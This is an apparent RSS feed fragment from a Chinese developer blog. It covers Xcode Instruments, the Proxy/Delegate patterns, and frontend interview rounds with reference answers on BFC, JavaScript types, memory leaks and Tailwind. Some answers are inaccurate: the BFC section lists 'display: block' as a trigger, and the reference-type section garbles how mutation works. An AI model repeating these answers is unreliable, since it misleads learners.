&lt;h2 id="一instruments-基础"&gt;一、Instruments 基础&lt;/h2&gt;
&lt;h3 id="11-启动-instruments-的几种方式"&gt;1.1 启动 Instruments 的几种方式&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;使用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Xcode &lt;code&gt;Product → Profile&lt;/code&gt;（⌘I）&lt;/td&gt;
&lt;td&gt;日常开发，自动以 Release 模式编译并附加符号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Xcode &lt;code&gt;Debug Navigator&lt;/code&gt; 中的图表&lt;/td&gt;
&lt;td&gt;粗略观测 CPU / Memory / Disk / Network / Energy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;直接打开 &lt;code&gt;Instruments.app&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;对已安装的 App、系统进程或已录制的 &lt;code&gt;.trace&lt;/code&gt; 文件进行分析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;命令行 &lt;code&gt;xcrun xctrace record&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CI / 自动化性能回归&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;设备端 Developer Settings 的 Power Profiler&lt;/td&gt;
&lt;td&gt;离线、无 Mac 场景采集能耗数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;Xcode 26 中，&lt;code&gt;Product → Profile&lt;/code&gt; 会按默认 scheme 的 Profile 构建配置（通常是 Release + &lt;code&gt;-O&lt;/code&gt;），这与 Debug 模式的数据差异很大，做性能评估时必须用 Profile 构建。&lt;/p&gt;</description></item><item><title>代理模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E4%BB%A3%E7%90%86%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E4%BB%A3%E7%90%86%E6%A8%A1%E5%BC%8F/</guid><description>&lt;p&gt;在iOS开发中，&amp;ldquo;代理&amp;quot;这个词通常有两层含义：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;设计模式中的代理模式（Proxy Pattern）&lt;/strong&gt;：提供目标对象的替代品或占位符，控制对目标对象的访问&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;iOS中的代理模式（Delegate Pattern）&lt;/strong&gt;：一种基于协议的回调机制，用于对象间通信&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;虽然中文都叫&amp;quot;代理&amp;rdquo;，但它们是不同的设计模式，解决不同的问题。本文将两者都进行详细介绍。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一proxy-pattern代理模式"&gt;一、Proxy Pattern（代理模式）&lt;/h2&gt;
&lt;h3 id="定义"&gt;定义&lt;/h3&gt;
&lt;p&gt;代理模式（Proxy Pattern）是一种&lt;strong&gt;结构型设计模式&lt;/strong&gt;，它为其他对象提供一种代理以控制对这个对象的访问。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心思想&lt;/strong&gt;：代理对象作为真实对象的&amp;quot;替身&amp;quot;，客户端通过代理间接访问真实对象。代理可以在访问前后添加额外逻辑，而调用者对此毫不知情。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Client → Proxy → RealSubject
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ↑
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 控制访问
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 添加功能
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 延迟创建
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键特征&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代理对象与真实对象&lt;strong&gt;实现相同的接口&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;客户端&lt;strong&gt;不知道&lt;/strong&gt;自己使用的是代理还是真实对象&lt;/li&gt;
&lt;li&gt;代理对象&lt;strong&gt;持有&lt;/strong&gt;真实对象的引用（通常是强引用）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="模式结构"&gt;模式结构&lt;/h3&gt;
&lt;pre class="mermaid"&gt;classDiagram
class Subject {
&amp;lt;&amp;lt;interface&amp;gt;&amp;gt;
+request()
}
class RealSubject {
+request()
}
class Proxy {
-realSubject: RealSubject
+request()
}
class Client {
+useSubject()
}
Subject &lt;|.. RealSubject
Subject &lt;|.. Proxy
Proxy --&gt; RealSubject : delegates to
Client --&gt; Subject : uses
&lt;/pre&gt;
&lt;h3 id="proxy的类型"&gt;Proxy的类型&lt;/h3&gt;
&lt;h4 id="1-虚拟代理virtual-proxy"&gt;1. 虚拟代理（Virtual Proxy）&lt;/h4&gt;
&lt;p&gt;虚拟代理用于延迟创建开销大的对象，只有在真正需要时才创建：&lt;/p&gt;</description></item><item><title>小红书-社招-5年 · 第 1 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/round-159/</link><pubDate>Sun, 01 Feb 2026 14:42:25 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/round-159/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/round-160/"&gt;第 2 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 该轮面试主要考察了前端基础知识，包括BFC、浮动元素、作用域、异步编程、Webpack、Vue等多方面的内容。题目涉及理论知识和代码实现。&lt;/p&gt;
&lt;p&gt;本轮共 18 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-5c174882-c1e7-4c08-a71a-f4c991be552f"&gt;1. BFC讲一下&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/5c174882-c1e7-4c08-a71a-f4c991be552f"&gt;什么是BFC？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;BFC（Block Formatting Context）&lt;/strong&gt; 是 CSS 中一个重要的布局概念，它描述了一个块级元素的内部布局和外部布局之间的关系。BFC 主要用于处理元素的布局、浮动、边距合并等问题。&lt;/p&gt;
&lt;h3 id="bfc-的作用"&gt;BFC 的作用&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;阻止外边距折叠&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;外边距折叠&lt;/strong&gt;：当两个块级元素垂直相邻时，它们的外边距会合并，形成一个更大的外边距。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BFC&lt;/strong&gt;：在 BFC 内部的元素的外边距不会影响到外部 BFC 的元素，避免了外边距折叠的问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;包含浮动元素&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;浮动元素&lt;/strong&gt;：通常会从其包含块中溢出。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BFC&lt;/strong&gt;：具有 BFC 的元素可以包含其内部的浮动元素，确保其高度包括浮动元素的高度。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;控制元素的布局&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BFC&lt;/strong&gt;：在 BFC 内部，元素的布局（如浮动、定位）会受到影响和控制，避免与外部元素发生冲突。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;防止元素重叠&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BFC&lt;/strong&gt;：能够隔离不同的 BFC 区域，避免元素之间的重叠或干扰。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="如何触发-bfc"&gt;如何触发 BFC&lt;/h3&gt;
&lt;p&gt;BFC 会在以下情况中被触发：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;块级格式化上下文的创建&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;元素的 &lt;code&gt;display&lt;/code&gt; 属性值为 &lt;code&gt;block&lt;/code&gt; 或 &lt;code&gt;inline-block&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;元素的 &lt;code&gt;position&lt;/code&gt; 属性值为 &lt;code&gt;absolute&lt;/code&gt; 或 &lt;code&gt;fixed&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;元素的 &lt;code&gt;float&lt;/code&gt; 属性值为 &lt;code&gt;left&lt;/code&gt; 或 &lt;code&gt;right&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;元素的 &lt;code&gt;overflow&lt;/code&gt; 属性值为 &lt;code&gt;hidden&lt;/code&gt;、&lt;code&gt;scroll&lt;/code&gt; 或 &lt;code&gt;auto&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;其他常见触发情况&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>小红书-社招-3年 · 第 1 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-156/</link><pubDate>Sun, 01 Feb 2026 14:42:08 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-156/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-157/"&gt;第 2 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 这一轮主要考察了前端基础知识，包括JavaScript的基本类型和引用类型的存储、闭包的内存泄漏、垃圾回收机制、事件循环、React框架的理解等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; Promise、CDN原理、Class、数据类型、浏览器渲染过程&lt;/p&gt;
&lt;p&gt;本轮共 24 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-ae4aa03a-06fe-41be-9c42-f53947f13f49"&gt;1. js中基本类型 和 引用类型的存储有什么不一样&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/ae4aa03a-06fe-41be-9c42-f53947f13f49"&gt;引用类型有哪些，有什么特点&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;在JavaScript中，引用类型是指非基本数据类型，它们是由对象、数组、函数等复杂数据结构组成的。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在JavaScript中，引用类型是指非基本数据类型，它们是由对象、数组、函数等复杂数据结构组成的。&lt;/p&gt;
&lt;p&gt;常见的引用类型包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;对象（Object）&lt;/code&gt;：对象是JavaScript中最基本的引用类型，它可以用来存储键值对，也可以通过原型链实现继承。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;数组（Array）&lt;/code&gt;：数组是一种有序的集合，可以存储任意类型的数据，它的长度是动态的，可以随时添加或删除元素。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;函数（Function）&lt;/code&gt;：函数是一种可执行的对象，可以封装一段可重复使用的代码。函数可以接收参数并返回值。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;引用类型的特点包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;引用类型的值是可变的：引用类型的值是存储在堆内存中的，当我们修改一个引用类型的值时，实际上是修改了它在内存中的地址，而不是修改了该值本身。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;引用类型值的比较是引用的比较：当使用&amp;quot;==&amp;ldquo;或&amp;rdquo;===&amp;ldquo;运算符比较两个引用类型的值时，它们会进行引用的比较，即判断它们是否指向同一个内存地址。只有当两个引用指向同一个对象时，它们才被认为是相等的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;引用类型可以有自己的属性和方法：引用类型的值可以拥有自己的属性和方法。例如，数组对象有长度属性和一些常用的数组方法（例如push、pop、sort等），而函数对象有call、apply等方法。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;引用类型可以通过原型链实现继承：通过原型链，引用类型可以继承父类型的属性和方法。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;基本类型（如数字、字符串、布尔值）在JavaScript中是按值传递的，而引用类型是按引用传递的。&lt;/p&gt;
&lt;p&gt;这意味着当将一个引用类型的值赋给另一个变量时，实际上是将内存地址复制给了新的变量，两个变量引用的是同一对象。而基本类型的值赋给另一个变量时，会创建一个新的值并赋给新的变量。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-6dd983d9-39fc-48ca-9e22-7599ab339f5b"&gt;2. 闭包的内存泄漏应该如何监控和解决？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/6dd983d9-39fc-48ca-9e22-7599ab339f5b"&gt;如何检查Javascript中的内存泄漏？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Chrome 浏览器查看内存占用，按照以下步骤操作。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="浏览器"&gt;浏览器&lt;/h2&gt;
&lt;p&gt;Chrome 浏览器查看内存占用，按照以下步骤操作。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image.png" loading="lazy" src="https://static.ecool.fun//article/b822300b-cf04-4c9f-9d88-06bd331726c0.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1、打开开发者工具，选择 Timeline 面板
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2、在顶部的Capture字段里面勾选 Memory
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3、点击左上角的录制按钮。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4、在页面上进行各种操作，模拟用户的使用情况。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5、一段时间后，点击对话框的 stop 按钮，面板上就会显示这段时间的内存占用情况。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果内存占用基本平稳，接近水平，就说明不存在内存泄漏。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image.png" loading="lazy" src="https://static.ecool.fun//article/5b616638-2dbc-49a7-9bde-97271ec206b1.png"&gt;&lt;/p&gt;
&lt;p&gt;反之，就是内存泄漏了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image.png" loading="lazy" src="https://static.ecool.fun//article/a05a6942-5cbe-42c8-a213-9122a9a851db.png"&gt;&lt;/p&gt;
&lt;h2 id="命令行"&gt;命令行&lt;/h2&gt;
&lt;p&gt;命令行可以使用 Node 提供的process.memoryUsage方法。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;memoryUsage&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// { rss: 27709440,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// heapTotal: 5685248,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// heapUsed: 3449392,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// external: 8772 }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;process.memoryUsage返回一个对象，包含了 Node 进程的内存占用信息。该对象包含四个字段，单位是字节，含义如下。&lt;/p&gt;</description></item><item><title>小红书-社招-1年 · 第 1 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/round-154/</link><pubDate>Sun, 01 Feb 2026 14:40:35 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/round-154/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/round-155/"&gt;第 2 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 这一轮主要考察了前端技术栈的深度和广度，包括CSS框架、响应式设计、渲染优化、Vue框架的高级特性、HTTP协议、浏览器渲染机制等方面的知识。&lt;/p&gt;
&lt;p&gt;本轮共 22 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-aa8173c10147"&gt;1. 项目中为何选择 Tailwind CSS ？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;灵活性, 可维护性, 现代前端工具链&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Tailwind CSS 是一个高度可定制的低级 CSS 框架，它提供了大量的原子类，可以快速构建一致且响应式的布局。选择 Tailwind CSS 的原因可能包括其灵活性、可维护性以及与现代前端工具链的良好集成。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-fa06c194-9fab-4cf0-8cc7-dda90c2c4f97"&gt;2. Tailwind 是怎么解决样式冲突的？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/fa06c194-9fab-4cf0-8cc7-dda90c2c4f97"&gt;Tailwind 是怎么解决样式冲突的？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Tailwind 通过原子化 utility 类、统一选择器权重、避免层级嵌套、构建期生成样式以及可预测的覆盖规则，从架构层面降低样式冲突的发生概率。它不是依赖命名规范解决冲突，而是通过设计约束和单一职责类模型，使样式天然解耦，从而让冲突可控且可预测。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题如果只回答“因为类名不会冲突”是远远不够的。&lt;/p&gt;
&lt;p&gt;Tailwind 解决样式冲突，本质上是通过 &lt;strong&gt;设计约束 + 原子化模型 + 构建期生成策略&lt;/strong&gt;，从源头消除冲突的产生条件，而不是事后避免覆盖。&lt;/p&gt;
&lt;p&gt;下面从机制层面拆解。&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id="一传统-css-为什么容易冲突"&gt;一、传统 CSS 为什么容易冲突&lt;/h1&gt;
&lt;p&gt;传统样式冲突来自三个方面：&lt;/p&gt;
&lt;h3 id="1-选择器冲突"&gt;1. 选择器冲突&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;btn&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;button&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;blue&lt;/span&gt;; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;不同模块命名不规范会互相覆盖。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="2-层级嵌套带来的权重问题"&gt;2. 层级嵌套带来的权重问题&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;page&lt;/span&gt; .&lt;span style="color:#a6e22e"&gt;btn&lt;/span&gt; { &lt;span style="color:#960050;background-color:#1e0010"&gt;...&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;权重升级，导致后续难以覆盖。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="3-样式全局污染"&gt;3. 样式全局污染&lt;/h3&gt;
&lt;p&gt;CSS 默认是全局作用域，没有隔离边界。&lt;/p&gt;</description></item><item><title>360-实习 · 第 1 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-83/round-132/</link><pubDate>Sat, 31 Jan 2026 09:54:14 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-83/round-132/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-83/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 这一轮主要考察了候选人的自我介绍、职业规划、项目经验、前端技术细节以及算法问题。面试氛围较为全面，涵盖了从基础到高级的多个方面。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;面试时间：&lt;/strong&gt; 45分钟&lt;/p&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-12b75c445924"&gt;1. 自我介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;个人背景, 工作经验, 技术栈, 项目经验, 未来展望&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;自我介绍应包括个人背景、工作经验、技术栈、项目经验和对未来的展望。重点在于展示自己的专业能力和对前端技术的热情。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-74d4b354dd42"&gt;2. 你的职业规划与前端技术方向的关系？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;技术趋势, 个人兴趣, 学习和实践, 技能提升, 未来发展&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;回答时可以结合当前的技术趋势和个人兴趣，说明如何通过不断学习和实践来提升自己在前端领域的技能。同时，可以提到对未来技术发展的看法和如何适应这些变化。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-cd57a5aa-c239-4cb2-b2b5-d0d6a49f80f3"&gt;3. 讲一个你参与过的项目&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/cd57a5aa-c239-4cb2-b2b5-d0d6a49f80f3"&gt;你参与过哪些前端基建方面的建设？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;前端基建涵盖了从项目架构、构建工具配置到开发环境、自动化流程和安全等多个方面。良好的前端基建可以提升开发效率、代码质量和系统性能，为项目的长期维护和扩展打下坚实的基础。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;可以从以下方面进行回答：&lt;/p&gt;
&lt;h3 id="1-项目架构"&gt;&lt;strong&gt;1. 项目架构&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目录结构&lt;/strong&gt;：定义项目文件和目录的组织结构，确保项目的可维护性和可扩展性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码规范&lt;/strong&gt;：统一代码风格和规范，使用 ESLint、Prettier 等工具进行代码检查和格式化。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模块化&lt;/strong&gt;：采用模块化设计，将代码拆分为独立的模块，提高可重用性和可维护性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;脚手架&lt;/strong&gt;：自动生成项目的基础结构，包括目录结构、配置文件、示例代码等。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-构建工具和配置"&gt;&lt;strong&gt;2. 构建工具和配置&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;构建工具&lt;/strong&gt;：使用工具如 Webpack、Vite、Rollup 等进行项目的构建和打包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置管理&lt;/strong&gt;：配置构建工具以支持各种功能，如代码分割、热重载、环境变量等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化&lt;/strong&gt;：配置代码压缩、缓存策略、Tree Shaking 等，提升构建产物的性能和效率。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-开发环境"&gt;&lt;strong&gt;3. 开发环境&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;开发服务器&lt;/strong&gt;：设置本地开发服务器，支持热重载和调试功能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境配置&lt;/strong&gt;：管理开发、测试、生产环境的配置和变量。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-包管理"&gt;&lt;strong&gt;4. 包管理&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;依赖管理&lt;/strong&gt;：使用 npm、Yarn 或 pnpm 等工具管理项目依赖，确保依赖版本一致性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发布管理&lt;/strong&gt;：管理和发布自定义的 npm 包或组件库。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-自动化流程"&gt;&lt;strong&gt;5. 自动化流程&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CI/CD&lt;/strong&gt;：配置持续集成（CI）和持续部署（CD）流程，自动化构建、测试和部署。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;测试&lt;/strong&gt;：集成单元测试、集成测试和端到端测试工具，如 Jest、Cypress 等，确保代码质量。&lt;/li&gt;
&lt;/ul&gt;
